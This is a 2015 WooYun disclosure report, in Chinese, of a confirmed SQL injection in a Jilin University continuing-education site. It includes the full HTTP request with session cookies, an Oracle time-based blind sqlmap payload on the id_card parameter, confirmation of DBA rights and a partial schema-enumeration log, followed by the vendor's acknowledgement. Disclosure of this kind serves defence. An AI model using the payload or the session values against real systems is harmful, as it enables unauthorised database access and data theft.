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缺陷编号:wooyun-2015-0156912

漏洞标题:吉林大学某站SQL注入 (DBA权限)

相关厂商:jlu.edu.cn

漏洞作者: 路人甲

提交时间:2015-11-30 16:03

修复时间:2016-01-14 16:46

公开时间:2016-01-14 16:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-11-30: 细节已通知厂商并且等待厂商处理中
2015-11-30: 厂商已经确认,细节仅向厂商公开
2015-12-10: 细节向核心白帽子及相关领域专家公开
2015-12-20: 细节向普通白帽子公开
2015-12-30: 细节向实习白帽子公开
2016-01-14: 细节向公众公开

简要描述:

RT

详细说明:

http://dec.jlu.edu.cn 吉林大学继续教育学院


GET /baozi/work/pub/cjcx_do.jsp?Submit=%b2%e9%20%20%d1%af&id_card=-1&s_name=fbgnnaak HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://dec.jlu.edu.cn
Cookie: JSESSIONID=cadhiA1RZUHH6b1KiUdfv; LoginName=ueevknad; LoginType=studentstatus; Ticket=9291e9e4a7c5fe86cf38901134c35a2e; sid=97a55a58-fa53-4f45-b919-3323826efaf5; ST=Khrr3yNlwZ5vylTml2ubALdc/yivdOrsykv+PhLSoqs=; AC=4djJgSfEq+c=; _jldxcms=71sJLVICH4; LoginName=ueevknad; LoginType=studentstatus
Host: dec.jlu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


id_card参数存在注入

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id_card (GET)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: Submit=%b2%e9 %d1%af&id_card=-1' AND 2672=DBMS_PIPE.RECEIVE_MESSAGE(CHR(105)||CHR(118)||CHR(72)||CHR(106),5) AND 'daxM'='daxM&s_name=fbgnnaak
---
web application technology: Apache
back-end DBMS: Oracle
current user: 'DEC_YCJSB'
current schema (equivalent to database on Oracle): 'DEC_YCJSB'
current user is DBA: True


跑的太慢了,没跑完。。。

[17:38:24] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[17:38:24] [INFO] fetching database (schema) names
[17:38:24] [INFO] fetching number of databases
[17:38:24] [INFO] retrieved: 18
[17:38:41] [INFO] retrieved: CTXS
[17:39:46] [ERROR] invalid character detected. retrying..
[17:39:46] [WARNING] increasing time delay to 4 seconds
Y
[17:40:17] [ERROR] invalid character detected. retrying..
[17:40:17] [WARNING] increasing time delay to 5 seconds
[17:40:31] [ERROR] invalid character detected. retrying..
[17:40:31] [WARNING] increasing time delay to 6 seconds
S
[17:40:55] [INFO] retrieved: D

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-11-30 16:45

厂商回复:

谢谢。。这系统做的太烂了,没办法,又被报一次,不好意思了。。谢谢路人甲。。

最新状态:

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